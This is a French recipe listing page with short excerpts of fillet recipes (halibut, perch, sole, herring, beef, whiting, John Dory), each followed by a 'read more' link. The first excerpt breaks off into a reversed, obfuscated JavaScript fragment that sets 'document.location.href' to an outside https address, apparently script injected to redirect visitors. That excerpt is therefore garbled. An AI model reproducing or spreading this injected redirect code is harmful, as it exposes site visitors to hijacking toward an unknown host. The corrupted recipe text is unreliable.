Recipes From Cuisine: Filets
Filets de flétan grillés au basilic
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteFilet de perche aux herbes
Pressez le citron. Hachez l’oignon. citronner la chair de poisson. Salez, poivrez. Ciselez les herbes. ...
Christine Lire la suiteFilet de sole aux pamplemousses
Pelez à vif 2 pamplemousses et les couper en quartiers. Pressez le jus du troisième ...
Christine Lire la suiteFilets de perche aux agrumes
Pelez à vif le pamplemousse et l’orange. Enlevez la peau et les pépins. Détaillez les ...
Christine Lire la suiteFilets de harengs marinés
Versez le lait dans un saladier, plongez les filets de harengs, filmez le saladier, laissez ...
Christine Lire la suiteFilet de bœuf aux airelles
Préchauffez le four à 240°C thermostat 8. Badigeonnez le filet de bœuf avec l’huile d’arachide, ...
Christine Lire la suiteFilet de bœuf au poivre
Badigeonnez le filet de bœuf d’huile d’arachide avec un pinceau de cuisine. Le rouler dans ...
Christine Lire la suiteFilet de merlan au basilic
Pelez, hachez l’échalote. Lavez, ciselez le basilic. Dans une casserole versez le vin blanc sec ...
Christine Lire la suiteFilet de Saint-Pierre sauce orange safrané
Versez le jus d’orange dans une casserole. Portez à ébullition et laissez réduire sur feu ...
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